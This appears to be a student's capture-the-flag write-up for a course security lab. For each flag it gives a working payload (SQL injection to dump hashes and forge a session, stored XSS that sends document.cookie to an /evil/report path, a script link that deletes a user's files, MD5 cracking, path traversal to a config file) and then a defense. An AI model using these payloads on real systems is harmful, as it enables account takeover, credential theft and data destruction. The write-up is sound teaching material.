Flag3: shomil

Description: The “Search for a file: “ field in https://box.cs161.org/site/list is vulnerable for sql injection. So, I entered *' UNION SELECT md5_hash FROM users WHERE username='shomil' --* in the mentioned field, and found out the hash value which is equal to 7f3af3a3ffd282bc516d4c45efa9112d.

Defense: The server could use input sanitization where it disallows special characters and use escape characters, or it could use Prepared statements instead of putting the input in the query.

Flag4: nicholas

Description: The task was gaining access to nicholas’s account. I guessed that the server may have a query like *SELECT username FROM sessions WHERE token = %s,* and will authenticate the session_token user using the above query. Therefore I changed the token number of the cookie to *‘ UNION SELECT ‘nicholas’ --* which will make the query to return nicholas, and the browser will log us in to nicholas’s account.

Defense: The defense for this part could also be achieved as mentioned in Flag3. Or, it could be achieved by creating an intermediate function, that will use some salt to deterministically calculate the hash from the session_token number of the cookie and then use that number in the query. In the second case, the session_token that a cookie ships is different from what the user stores, and the cookie token will be used to calculate the actual token.

Flag5: cs161

Description: The server was vulnerable to stored XSS attack. We could have renamed the file to anything. So, I created a file and renamed the file to *<script>fetch('/evil/report?message='+document.cookie)</script>.* Then, I shared the file with cs161 user, and whenever the cs161 visits the https://box.cs161.org/site/list page, it will send its session token to the https://box.cs161.org/evil/logs page. The leaked session token was *this-is-the-very-secure-session-token-for-cs161.* The shared file was working unlike project 2 where the recipient should have accepted the request.

Defense: HTML sanitization could be used to defend against this attack. Moreover, tempelating would be even a better option to use by the server side, or using CSP to disallow inline javascripts in the page. So, if the content of the page is script-like file name, it will disallow it.

Flag6: delete

Description: I noticed that the ‘Search for a file: ‘ filed calls to whatever we put inside it. Therefore, I made some random searches to learn how the url of the search is generated, and inspected the url when clicking delete all files. Since, I learned how the

search url is generated and the search field executes scripts if put inside the script tags. I generated the following link which deletes all files of the logged in user.
https://box.cs161.org/site/search?term=<script>fetch("https://box.cs161.org/site/deleteFiles",{method:"POST"})</script>

Defense: HTML templating with CSP could achieve the goal of making the “Search for a file” field not execute any scripts. The escaping technique using HTML sanitization culd also achieve this goal.

Flag7: admin

Description: I injected *' UNION SELECT username FROM users* -- . There was a user *uboxadmin*, and I was sure that it is the admin because the task mentioned that ‘nicholas’ and ‘shomil’ are not admins, and I have already tried ‘dev’s password to login which didn't work. I retrieve the md5_hash of the ‘dev’ user, then calculate the md5_hass of the dev's password and compare it with the hash in the database to make sure that it is using the md5 hashing algorithm. After that I made sure that it is using the md5 hash, I decoded the hash and got the password which was ‘helloworld’.
The md5 decoding and encoding was done using the following websites. The hashes were retrieved from the table like flag 3.
https://www.browserling.com/tools/all-hashes
https://www.md5online.org/md5-decrypt.html

Defense: The server should use a salt to generate the hashes. The lack of salt makes it very easy to calculate the password if a hash is leaked. Moreover, sql defects mentioned in flag3 could make the defense for this flag stronger.

Flag8: config

Description: The server was vulnerable to path traversal attack. I renamed the name of a file to *../config/config.yml.* When I tried to open the file, it downloaded the config.yml file.

Defense: The server should not allow the path traversal sequence ../ in name of the file. So, we should not be able to rename a file to something that contains ../ or .. in its name. Moreover, we could restrict the server to one base folder for each user, so it can not access anything above this directory. In short, the server should validate the user input first and then append it to the name of the base directory to make sure it can not access anything above the base directory.